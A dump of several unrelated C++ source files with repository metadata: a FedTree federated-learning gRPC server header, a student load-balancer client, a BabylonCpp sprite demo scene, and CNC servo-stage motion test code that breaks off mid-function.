moduleInfo; GetModuleInformation(_handle, module, &moduleInfo, sizeof(moduleInfo)); return (int64_t)moduleInfo.lpBaseOfDll; }
[ "jbzdarkid@gmail.com" ]
jbzdarkid@gmail.com
35a3f7b9699c58d1e2349a705732281692fc7a1f
2fe616179636487f86167fa7d1283f3c8fba18b9
/include/FedTree/FL/distributed_server.h
34e2b0979c040af1d2972847b993d0ad1d62b7bb
[]
no_license
JerryLife/DeltaBoost
7da9191c07bb3289d87f022b18b04fd89a8e2edd
75e8a7c0a822e26ac0db49355a1a4560e10b3b06
refs/heads/main
2023-08-14T02:09:49.231963
2023-07-30T06:48:44
2023-07-30T06:48:44
672,458,205
2
0
null
2023-07-30T06:39:33
2023-07-30T06:39:32
null
UTF-8
C++
false
false
10,243
h
// // Created by 韩雨萱 on 11/4/21. // #ifndef FEDTREE_DISTRIBUTED_SERVER_H #define FEDTREE_DISTRIBUTED_SERVER_H #include <grpcpp/grpcpp.h> #include <grpcpp/security/server_credentials.h> #include <grpcpp/server.h> #include <grpcpp/server_builder.h> #include <grpcpp/server_context.h> #include "FedTree/FL/server.h" #include "FedTree/FL/comm_helper.h" #include <iostream> #include <memory> #include <string> #ifdef BAZEL_BUILD #include "examples/protos/fedtree.grpc.pb.h" #else #include "../../../src/FedTree/grpc/fedtree.grpc.pb.h" #endif class DistributedServer final : public Server, public fedtree::FedTree::Service { public: grpc::Status TriggerUpdateGradients(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status TriggerBuildInit(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status GetGradients(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::GHPair> *writer) override; grpc::Status SendDatasetInfo(grpc::ServerContext *context, const fedtree::DatasetInfo *datasetInfo, fedtree::PID *pid) override; grpc::Status SendHistograms(grpc::ServerContext *context, grpc::ServerReader<fedtree::GHPair> *reader, fedtree::PID *id) override; grpc::Status SendHistFid(grpc::ServerContext *context, grpc::ServerReader<fedtree::FID> *reader, fedtree::PID *id) override; grpc::Status TriggerAggregate(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status GetBestInfo(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::BestInfo> *writer) override; grpc::Status SendNode(grpc::ServerContext *context, const fedtree::Node *node, fedtree::PID *id) override; grpc::Status SendNodes(grpc::ServerContext *context, const fedtree::NodeArray *nodes, fedtree::PID *id) override; grpc::Status SendIns2NodeID(grpc::ServerContext *context, grpc::ServerReader<fedtree::Ins2NodeID> *reader, fedtree::PID *id) override; grpc::Status GetNodes(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::Node> *writer) override; grpc::Status GetIns2NodeID(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::Ins2NodeID> *writer) override; grpc::Status CheckIfContinue(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status TriggerPrune(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status TriggerPrintScore(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status SendRange(grpc::ServerContext* context, grpc::ServerReader<fedtree::GHPair>* reader, fedtree::PID* response) override; grpc::Status TriggerCut(grpc::ServerContext* context, const fedtree::PID* request, fedtree::Ready* response) override; grpc::Status GetRange(grpc::ServerContext* context, const fedtree::PID* request, grpc::ServerWriter<fedtree::GHPair>* writer) override; grpc::Status SendGH(grpc::ServerContext* context, const fedtree::GHPair* request, fedtree::PID* response) override; grpc::Status SendDHPubKey(grpc::ServerContext* context, const fedtree::DHPublicKey* request, fedtree::PID* response) override; grpc::Status GetDHPubKeys(grpc::ServerContext* context, const fedtree::PID* request, grpc::ServerWriter<fedtree::DHPublicKeys>* response) override; grpc::Status SendNoises(grpc::ServerContext* context, const fedtree::SANoises* request, fedtree::PID* response) override; grpc::Status GetNoises(grpc::ServerContext* context, const fedtree::PID* request, grpc::ServerWriter<fedtree::SANoises>* response) override; grpc::Status SendCutPoints(grpc::ServerContext* context, const fedtree::CutPoints* request, fedtree::PID* response) override; grpc::Status GetCutPoints(grpc::ServerContext* context, const fedtree::PID* request, grpc::ServerWriter<fedtree::CutPoints>* response) override; grpc::Status TriggerBuildUsingGH(grpc::ServerContext* context, const fedtree::PID* request, fedtree::Ready* response) override; grpc::Status ScoreReduce(grpc::ServerContext* context, const fedtree::Score* request, fedtree::Score* response) override; grpc::Status TriggerCalcTree(grpc::ServerContext* context, const fedtree::PID* request, fedtree::Ready* response) override; grpc::Status GetSplitPoints(grpc::ServerContext* context, const fedtree::PID* request, grpc::ServerWriter<fedtree::SplitPoint>* writer) override; grpc::Status GetRootNode(grpc::ServerContext* context, const fedtree::PID *request, fedtree::Node* response) override; grpc::Status HCheckIfContinue(grpc::ServerContext *context, const fedtree::PID *pid, fedtree::Ready *ready) override; grpc::Status TriggerHomoInit(grpc::ServerContext *context, const fedtree::PID *request, fedtree::Ready *response) override; grpc::Status TriggerSAInit(grpc::ServerContext *context, const fedtree::PID *request, fedtree::Ready *response) override; grpc::Status GetPaillier(grpc::ServerContext *context, const fedtree::PID *request, fedtree::Paillier * response) override; grpc::Status SendHistogramsEnc(grpc::ServerContext *context, grpc::ServerReader<fedtree::GHPairEnc> *reader, fedtree::PID *id) override; grpc::Status SendHistogramBatches(grpc::ServerContext *context, grpc::ServerReader<fedtree::GHBatch> *reader, fedtree::PID *id) override; grpc::Status SendHistFidBatches(grpc::ServerContext *context, grpc::ServerReader<fedtree::FIDBatch> *reader, fedtree::PID *id) override; grpc::Status GetIns2NodeIDBatches(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::Ins2NodeIDBatch> *writer) override; grpc::Status SendIns2NodeIDBatches(grpc::ServerContext *context, grpc::ServerReader<fedtree::Ins2NodeIDBatch> *reader, fedtree::PID *id) override; grpc::Status GetGradientBatches(grpc::ServerContext *context, const fedtree::PID *id, grpc::ServerWriter<fedtree::GHBatch> *writer) override; grpc::Status SendHistogramBatchesEnc(grpc::ServerContext *context, grpc::ServerReader<fedtree::GHEncBatch> *reader, fedtree::PID *id) override; grpc::Status StopServer(grpc::ServerContext *context, const fedtree::PID *request, fedtree::Score *ready) override; grpc::Status BeginBarrier(grpc::ServerContext *context, const fedtree::PID *request, fedtree::Ready *ready) override; grpc::Status GetGradientBatchesEnc(grpc::ServerContext *context, const fedtree::PID *request, grpc::ServerWriter<fedtree::GHEncBatch> *writer) override; grpc::Status SendNodeEnc(grpc::ServerContext *context, const fedtree::NodeEnc *node, fedtree::PID *id) override; grpc::Status SendNodesEnc(grpc::ServerContext *context, const fedtree::NodeEncArray *nodes, fedtree::PID *id) override; void VerticalInitVectors(int n_parties); void HorizontalInitVectors(int n_parties); vector<int> n_bins_per_party; vector<int> n_columns_per_party; void distributed_vertical_init(FLParam &param, int n_total_instances, vector<float_type> y, vector<float_type> label) { this->local_trees.resize(param.n_parties); this->param = param; this->model_param = param.gbdt_param; this->n_total_instances = n_total_instances; this->n_bins_per_party.resize(param.n_parties); this->n_columns_per_party.resize(param.n_parties); this->global_trees.trees.clear(); this->has_label.resize(param.n_parties); dataset.y = y; dataset.n_features_ = 0; dataset.label = label; booster.init(dataset, param.gbdt_param); booster.fbuilder->party_containers_init(param.n_parties); } // for profiling vector<double> party_wait_times; private: // mutex std::mutex mutex; // for stop vector<bool> stoppable; vector<float> party_tot_times; vector<float> party_comm_times; vector<float> party_enc_times; vector<fedtree::GHEncBatch> tmp_gradients; double dec_time = 0; double enc_time = 0; // end vector<int> cont_votes; vector<BestInfo> best_infos; vector<int> hists_received; vector<int> missing_gh_received; vector<int> hist_fid_received; int cur_round = 1; int n_nodes_received = 0; bool update_gradients_success = false; bool aggregate_success = false; // for horizontal vector<vector<GHPair>> party_feature_range; vector<int> range_received; bool range_success = false; vector<int> party_gh_received; vector<GHPair> party_ghs; int gh_rounds = 1; bool build_gh_success = false; vector<int> party_DHKey_received; vector<int> party_noises_received; vector<int> parties_cut_points_received; int noise_rounds = 1; int noise_cnt = 0; bool calc_success = false; vector<int> score_received; vector<float> party_scores; bool score_success = false; int score_rounds = 1; bool homo_init_success = false; int info_cnt = 0; int cnt = 0; int gh_cnt = 0; int sp_cnt = 0; int vote_cnt = 0; }; #endif //FEDTREE_DISTRIBUTED_SERVER_H
[ "hustwuzhaomin@outlook.com" ]
hustwuzhaomin@outlook.com
ad799323cf826cad7a7c13a267714e0b56ed387a
13c54e449a9e2b09ba29d05d40b43e839f6a081f
/aiuda/CLASE25/Balanceador/Cliente.cpp
76e04abab8e8dcc989fbbd294d39c01b4c3e6fd2
[]
no_license
Julsperez/Practicas-distribuidos
1c637e96c31a0b7a9715406d14d8ae774a932623
98e734c1705102bedb3319ac1bc8fb3d1e728f0d
refs/heads/master
2022-11-30T12:23:14.663037
2020-08-08T23:49:33
2020-08-08T23:49:33
260,347,969
0
0
null
null
null
null
UTF-8
C++
false
false
1,728
cpp
//#include "Solicitud.h" #include <iostream> #include <stdlib.h> #include <string.h> using namespace std; //const char ip1[16] = "10.100.74.141"; //const char ip2[16] = "10.100.74.144"; //const char ip2[16] = "10.100.74.145"; //const char servidor1[16] = "Servidor1.txt"; //const char servidor2[16] = "Servidor2.txt"; //const char servidor3[16] = "Servidor3.txt"; /*void funcion(char[] nombreArchivo){ }*/ int main(int argc, char*argv[]) { struct timeval timeout; string numeroTel = ""; timeout.tv_sec = 2; timeout.tv_usec = 500000; char arreglo[119]="1234567891\n1234567892\n1234567893\n1234567894\n1234567895\n1234567896\n1234567897\n1234567898\n1234567899"; for(int i=0; i<119; i++){ numeroTel = numeroTel + arreglo[i]; if(arreglo[i] == '\n'){ cout<<"Enviando al servidor..."<<endl; string resultado = numeroTel.substr(9); cout<<"Numero final: " <<numeroFinal <<endl; switch(numeroFinal){ case '0': case '1': case '2': case '3': cout<<"Enviando al servidor 1"<<endl; break; case '4': case '5': case '6': cout<<"Enviando al servidor 2"<<endl; break; case '7': case '8': case '9': cout<<"Enviando al servidor 3"<<endl; break; default: cout<<"Enviando al servidor 1"<<endl; break; } } } ////////////////////////// /*char *ip, *registros; int puerto; int operacion = 1; ip =argv[1]; puerto = atoi(argv[2]); registros = argv[3]; memcpy(arreglo, registros, sizeof(strlen(registros) + 1)); // arreglo contiene el numero de registros que serán leidos para ser enviados al servidor*/ //Solicitud cliente = Solicitud(timeout); //cliente.doOperation(ip, puerto, operacion, arreglo); return 0; }
[ "julsperez@outlook.com" ]
julsperez@outlook.com
b8700790fbb6e1d77c893211c590d1e462841646
7d391a176f5b54848ebdedcda271f0bd37206274
/src/Samples/src/samples/specialfx/wave_of_sprites_scene.cpp
e53669a62b8fd76911459afb1cbc1d6e2c3c9877
[ "Apache-2.0", "LicenseRef-scancode-free-unknown" ]
permissive
pthom/BabylonCpp
c37ea256f310d4fedea1a0b44922a1379df77690
52b04a61467ef56f427c2bb7cfbafc21756ea915
refs/heads/master
2021-06-20T21:15:18.007678
2019-08-09T08:23:12
2019-08-09T08:23:12
183,211,708
2
0
Apache-2.0
2019-04-24T11:06:28
2019-04-24T11:06:28
null
UTF-8
C++
false
false
1,817
cpp
#include <babylon/samples/specialfx/wave_of_sprites_scene.h> #include <babylon/cameras/arc_rotate_camera.h> #include <babylon/engines/scene.h> #include <babylon/lights/hemispheric_light.h> #include <babylon/sprites/sprite_manager.h> namespace BABYLON { namespace Samples { WaveOfSpritesScene::WaveOfSpritesScene(ICanvas* iCanvas) : IRenderableScene(iCanvas) { } WaveOfSpritesScene::~WaveOfSpritesScene() { } const char* WaveOfSpritesScene::getName() { return "Wave Of Sprites Scene"; } void WaveOfSpritesScene::initializeScene(ICanvas* canvas, Scene* scene) { // The number of sprites auto count = 100ul; auto countf = static_cast<float>(count); // Change the scene clear color scene->clearColor = Color3::Black(); // Create a camera auto camera = ArcRotateCamera::New("Camera", 5.6f, 1.4f, 80.f, Vector3(countf / 2.f, 0.f, countf / 2.f), scene); camera->attachControl(canvas, true); // Create a light auto light = HemisphericLight::New("hemi", Vector3(0.f, 1.f, 0.f), scene); light->intensity = 0.98f; // Creates wave of sprites auto spriteManager = SpriteManager::New( "spriteManager", "/textures/blue_dot.png", count * count, 1, scene); const auto makeSprite = [&spriteManager](float x, float z) -> void { auto f = (std::sin(x / 10.f) + std::sin(z / 10.f)); auto instance = Sprite::New("sprite", spriteManager); instance->position.x = x * 2.f; instance->position.z = z * 2.f; instance->position.y = f * 8.f; instance->size = 0.2f; instance->color = Color4(0.f, f + 1.2f, f + 2.f, 1.f); }; for (float x = 0.f; x < countf; ++x) { for (float z = 0.f; z < countf; ++z) { makeSprite(x, z); } } } } // end of namespace Samples } // end of namespace BABYLON
[ "sam.dauwe@gmail.com" ]
sam.dauwe@gmail.com
da8e75ec3d156cacba3b175b4ed2da37662acd2a
9136db1795fc1475429b452fcfe6e9961a9e917f
/CNCMillWithGCodeInterpreter/motionTest/Motion.cpp
a87025a5a39fd256274f37a8b7ca8333bae7e477
[]
no_license
duchiy/CNCMillwithGCodeInterpreter
c5baf1082808c2291283faa1e5cf42b2de16f7b5
b40c346e6ec99e6fd49aedd526021e1d398a690e
refs/heads/master
2021-01-10T12:24:40.945785
2016-05-03T05:29:40
2016-05-03T05:29:40
50,817,608
0
1
null
null
null
null
UTF-8
C++
false
false
47,982
cpp
// Motion.cpp : Defines the entry point for the application. // #include "stdafx.h" //#include "path.h" //#include "NMCCOMTYPES.h" //#include "nmcServo.h" //#include "Picservo.h" //#include "nmccom.h" //#include "ServoInf.h" //#include "PathPoint.h" #include <math.h> #include "MillCmd.h" #include "MillCmdCtrl.h" #include "ParseCNC.h" #include "Stage.h" #include "Matrix4x4.h" #include "Vector4.h" #include "stageMoveXYZ.h" #include "stageGetPos.h" #include <algorithm> int TestCoordMotion(); int TestCoordMotionShortPath(); int TestCoordMotionCircleAtOrigin(); int TestSplineMotion(); int TestGCode(); int TestGCodeClass(); int TestPtToPtMotionWithServo(); int TestPtToPtMotionShort(); int TestSingleDoublePCSWithStage(); int TestPtToPtMotionInPCSWithStage(); int TestPtToPtMotionInPCSCommand(); int TestPtToPtMotionWithStage(); int TestPtToPtAndCoordStageMotion(); int TestPtToPtAndCoordStageMotionPCS(); int TestPtToPtAndCoordOutPts(); int InitNMCModule3Axis (int & iModules); int InitNMCModule3Axis (int & iModules, Path & path); int InitNMCModule3AxisStatic (int & iModules, Stage & stage, Path & path); int InitPathParam(int pathFreq, int numberOfPts, double xScale, double yScale, double zScale, double pathAccel, double feedrate); int SetPIDGain_3Axis (); int SetScaling_3Axis (); int SetPIDGain_3AxisStatic (Stage & stage); int SetScaling_3AxisStatic (Stage & stage); int ServoOnNMCModule3Axis (); int ServoOnNMCModule3AxisStatic (Stage & stage); int ServoOnNMCModule3AxisNoReset (); int CreatePath1 (); int CreatePath1A (); int CreatePath1A_XOffset( double dX, double dY, double dZ ); int CreatePath1A_XOffset(double dX, double dY, double dZ, Path & vPath); int CreateSplinePath (); int CreatePath1_2 (); void ExecutePath3Axis (); void ResetModules (int & iModules); void ResetModulesStatic (int & iModules); void ExecutePath(); int SetControlPts(vector<double> & Points); Stage g_stage; Path g_path; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. string cmdline = GetCommandLine(); int index = cmdline.find_first_of("-"); string arg = cmdline.substr(index+1); int (*pf)(int)=tolower; transform(arg.begin(), arg.end(), arg.begin(), pf); // Command line Arg: servo, if (!arg.compare("servo")) TestPtToPtMotionWithServo(); if (!arg.compare("short_ptp")) TestPtToPtMotionShort(); if (!arg.compare("ptp")) TestPtToPtMotionWithStage(); if (!arg.compare("singledouble_ptp_pcs")) TestSingleDoublePCSWithStage(); if (!arg.compare("ptp_pcs")) TestPtToPtMotionInPCSWithStage(); if (!arg.compare("ptp_command")) TestPtToPtMotionInPCSCommand(); if (!arg.compare("coord_ptp")) TestPtToPtAndCoordStageMotion(); if (!arg.compare("coord_ptp_pcs")) TestPtToPtAndCoordStageMotionPCS(); if (!arg.compare("coord_outpts")) TestPtToPtAndCoordOutPts(); if (!arg.compare("coord")) TestCoordMotion(); if (!arg.compare("shortcoord")) TestCoordMotionShortPath(); if (!arg.compare("spline")) TestSplineMotion(); if (!arg.compare("gcode")) { TestGCode(); } if (!arg.compare("gcodeclass")) { TestGCodeClass(); } return 0; } int TestPtToPtMotionWithServo() { NMCSERVO Servo; int iModules; int iError; long lPosition; long lXPosition,lYPosition,lZPosition; long lCmdXPosition,lCmdYPosition,lCmdZPosition; long lCmdXSpeed,lCmdYSpeed,lCmdZSpeed; long lCmdXAccel,lCmdYAccel,lCmdZAccel; long lVelocity; long lHome; byte byAD; iModules=Servo.Initialize("COM3:"); // Axis 1 = X Axis // Axis 2 = Y Axis // Axis 3 = Z Axis int iProportional; int iDifferential; int iIntegral; Servo.SetGainLimits(eXAxis, 0, //IL = 0 255, //OL = 255 0, //CL = 0 4000, //EL = 4000 1, //SR = 1 0 //DC = 0 ); Servo.SetGainLimits(eYAxis, 0, //IL = 0 255, //OL = 255 0, //CL = 0 4000, //EL = 4000 1, //SR = 1 0 //DC = 0 ); Servo.SetGainLimits(eZAxis, 0, //IL = 0 255, //OL = 255 0, //CL = 0 4000, //EL = 4000 1, //SR = 1 0 //DC = 0 ); Servo.SetGain(eXAxis, 2144, 7680, 512); Servo.GetGain(eXAxis, iProportional, iDifferential,iIntegral); Servo.SetGain(eYAxis, 1656, 4064, 128); Servo.GetGain(eYAxis, iProportional, iDifferential,iIntegral); Servo.SetGain(eZAxis, 1872, 12288, 512); Servo.GetGain(eZAxis, iProportional, iDifferential,iIntegral); Servo.SetSpeed(eXAxis, 200000); Servo.SetAccel(eXAxis, 40000); Servo.SetSpeed(eYAxis, 200000); Servo.SetAccel(eYAxis, 40000); Servo.SetSpeed(eZAxis, 200000); Servo.SetAccel(eZAxis, 40000); Servo.EnableAmp(eXAxis); Servo.EnableAmp(eYAxis); Servo.EnableAmp(eZAxis); Servo.ResetPosition(eXAxis); Servo.ResetPosition(eYAxis); Servo.ResetPosition(eZAxis); BOOL bMotion; iError=Servo.MoveTo(1400, eXAxis); iError=Servo.MoveTo(1500, eYAxis); iError=Servo.MoveTo(1600, eZAxis); lPosition=Servo.GetPosition(eXAxis); lPosition=Servo.GetPosition(eYAxis); lPosition=Servo.GetPosition(eZAxis); lCmdXPosition=Servo.GetCmdPosition(eXAxis); lCmdYPosition=Servo.GetCmdPosition(eYAxis); lCmdZPosition=Servo.GetCmdPosition(eZAxis); lCmdXSpeed=Servo.GetCmdSpeed(eXAxis); lCmdYSpeed=Servo.GetCmdSpeed(eYAxis); lCmdZSpeed=Servo.GetCmdSpeed(eZAxis); lCmdXAccel=Servo.GetCmdAccel(eXAxis); lCmdYAccel=Servo.GetCmdAccel(eYAxis); lCmdZAccel=Servo.GetCmdAccel(eZAxis); iError=Servo.MoveTo(7500,eXAxis); iError=Servo.MoveTo(-8000,eYAxis); do{ bMotion=Servo.IsInMotion(eXAxis); bMotion=Servo.IsInMotion(eYAxis); bMotion=Servo.IsInMotion(eZAxis); }while(bMotion); lPosition=Servo.GetPosition(eXAxis); lPosition=Servo.GetPosition(eYAxis); lPosition=Servo.GetPosition(eZAxis); iError=Servo.MoveTo(2400, eXAxis); iError=Servo.MoveTo(2500, eYAxis); iError=Servo.MoveTo(2600, eZAxis); do{ bMotion=Servo.IsInMotion(eXAxis); bMotion=Servo.IsInMotion(eYAxis); bMotion=Servo.IsInMotion(eZAxis); }while(bMotion); lPosition=Servo.GetPosition(eXAxis); lPosition=Servo.GetPosition(eYAxis); lPosition=Servo.GetPosition(eZAxis); iError=Servo.MoveTo(1400, eXAxis); iError=Servo.MoveTo(1500, eYAxis); iError=Servo.MoveTo(1600, eZAxis); do{ bMotion=Servo.IsInMotion(eXAxis); bMotion=Servo.IsInMotion(eYAxis); bMotion=Servo.IsInMotion(eZAxis); }while(bMotion); lPosition=Servo.GetPosition(eXAxis); lPosition=Servo.GetPosition(eYAxis); lPosition=Servo.GetPosition(eZAxis); iError=Servo.MoveTo(-1400, eXAxis); iError=Servo.MoveTo(-1500, eYAxis); iError=Servo.MoveTo(-1600, eZAxis); do{ bMotion=Servo.IsInMotion(eXAxis); bMotion=Servo.IsInMotion(eYAxis); bMotion=Servo.IsInMotion(eZAxis); }while(bMotion); lPosition=Servo.GetPosition(eXAxis); lPosition=Servo.GetPosition(eYAxis); lPosition=Servo.GetPosition(eZAxis); // iError=Servo.move(-8000,2); // do{ // bMotion=Servo.IsInMotion(); // } // while(bMotion); lHome=Servo.GetHome(eXAxis); lHome=Servo.GetHome(eYAxis); lVelocity=Servo.GetSpeed(eYAxis); byAD=Servo.GetAD(eXAxis); byAD=Servo.GetAD(eYAxis); return 0; } int TestPtToPtMotionWithStage() { // NMCSERVO Servo; int iModules; int iError; long lPosition; double dXPosition,dYPosition,dZPosition; double dCmdXPosition,dCmdYPosition,dCmdZPosition; double dCmdXSpeed,dCmdYSpeed,dCmdZSpeed; double dCmdXAccel,dCmdYAccel,dCmdZAccel; double dVelocity; double dXHome, dYHome, dZHome; byte byAD; iModules=g_stage.Initialize("COM4:"); SetScaling_3Axis(); SetPIDGain_3Axis(); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); g_stage.EnableAmp(); g_stage.ResetPos(); g_stage.GetCmdVel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetSpeed(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); BOOL bMotion; g_stage.GetPos(dXPosition, dYPosition, dZPosition ); iError=g_stage.MoveTo(1.00, 1.000, 1.000, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); g_stage.GetCmdVel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); iError=g_stage.MoveTo(1.201, 1.202, 1.203, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); iError=g_stage.MoveTo(0.000, 0.000, 0.000, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); iError=g_stage.MoveTo(-1.201, -1.202, -1.203, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); iError=g_stage.MoveTo(-0.500, -0.500, -0.500, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); iError=g_stage.MoveTo(0.000, 0.000, 0.000, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); // iError=Servo.move(-8000,2); // do{ // bMotion=Servo.IsInMotion(); // } // while(bMotion); g_stage.GetHome( dXHome, dYHome, dZHome); return 0; } int TestSingleDoublePCSWithStage() { // NMCSERVO Servo; int iModules; int iError; long lPosition; double dXPosition,dYPosition,dZPosition; double dCmdXPosition,dCmdYPosition,dCmdZPosition; double dCmdXSpeed,dCmdYSpeed,dCmdZSpeed; double dCmdXAccel,dCmdYAccel,dCmdZAccel; double dVelocity; double dXHome, dYHome, dZHome; byte byAD; iModules=g_stage.Initialize("COM3:"); SetScaling_3Axis(); SetPIDGain_3Axis(); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); g_stage.EnableAmp(); g_stage.ResetPos(); g_stage.GetCmdVel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetSpeed(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); BOOL bMotion; iError=g_stage.MoveTo(0.0, 0.0, 0.0, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); double x,y,z; x=0.5;y= 0.0;z= 0.5; iError=g_stage.MoveTo(z,2, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.5;y= 0.0;z= 0.0; iError=g_stage.MoveTo(x,0, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.0;y= 0.5;z= 0.0; iError=g_stage.MoveTo(y,1, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= 0.0;z= 0.0; iError=g_stage.MoveTo(x,0, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.0;y= -0.5;z= 0.0; iError=g_stage.MoveTo(y,1, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.5;y= 0.5;z= 0.0; iError=g_stage.MoveTo(x,y,true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= -0.5;z= 0.0; iError=g_stage.MoveTo(x,y,true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.5;y= -0.5;z= 0.0; iError=g_stage.MoveTo(x,y,true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= 0.5;z= 0.0; iError=g_stage.MoveTo(x,y,true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); // iError=Servo.move(-8000,2); // do{ // bMotion=Servo.IsInMotion(); // } // while(bMotion); // g_stage.GetHome( dXHome, dYHome, dZHome); return 0; } int TestPtToPtMotionInPCSWithStage() { // NMCSERVO Servo; int iModules; int iError; long lPosition; double dXPosition,dYPosition,dZPosition; double dCmdXPosition,dCmdYPosition,dCmdZPosition; double dCmdXSpeed,dCmdYSpeed,dCmdZSpeed; double dCmdXAccel,dCmdYAccel,dCmdZAccel; double dVelocity; double dXHome, dYHome, dZHome; byte byAD; iModules=g_stage.Initialize("COM3:"); SetScaling_3Axis(); SetPIDGain_3Axis(); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); g_stage.EnableAmp(); g_stage.ResetPos(); g_stage.GetCmdVel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetSpeed(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); BOOL bMotion; iError=g_stage.MoveTo(0.0, 0.0, 0.0, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); double x,y,z; x=0.5;y= 0.0;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.0;y= 0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= 0.0;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.0;y= -0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.5;y= 0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= -0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=0.5;y= -0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); x=-0.5;y= 0.5;z= 0.0; iError=g_stage.MoveTo(x,y,z, true); g_stage.GetPos(dXPosition, dYPosition, dZPosition ); // iError=Servo.move(-8000,2); // do{ // bMotion=Servo.IsInMotion(); // } // while(bMotion); // g_stage.GetHome( dXHome, dYHome, dZHome); return 0; } int TestPtToPtMotionInPCSCommand() { // NMCSERVO Servo; int iModules; int iError; long lPosition; double dXPosition,dYPosition,dZPosition; double dCmdXPosition,dCmdYPosition,dCmdZPosition; double dCmdXSpeed,dCmdYSpeed,dCmdZSpeed; double dCmdXAccel,dCmdYAccel,dCmdZAccel; double dVelocity; double dXHome, dYHome, dZHome; byte byAD; iModules=g_stage.Initialize("COM9:"); SetScaling_3Axis(); SetPIDGain_3Axis(); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); g_stage.EnableAmp(); g_stage.ResetPos(); g_stage.GetCmdVel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetSpeed(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); millCmd millctrl; BOOL bMotion; // iError=g_stage.MoveTo(0.0, 0.0, 0.0, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove1 = new stageMoveXYZ(g_stage, 0.0, 0.0, 0.0); millctrl.SetCommand(stagemove1); stageGetPos *stagegetpos1 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos1); double x,y,z; // x=0.5;y= 0.0;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove2 = new stageMoveXYZ(g_stage,0.5, 0.0, 0.0); millctrl.SetCommand(stagemove2); stageGetPos *stagegetpos2 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos2); // x=0.0;y= 0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove3 = new stageMoveXYZ(g_stage,0.0, 0.5, 0.0); millctrl.SetCommand(stagemove3); stageGetPos *stagegetpos3 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos3); // x=-0.5;y= 0.0;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // 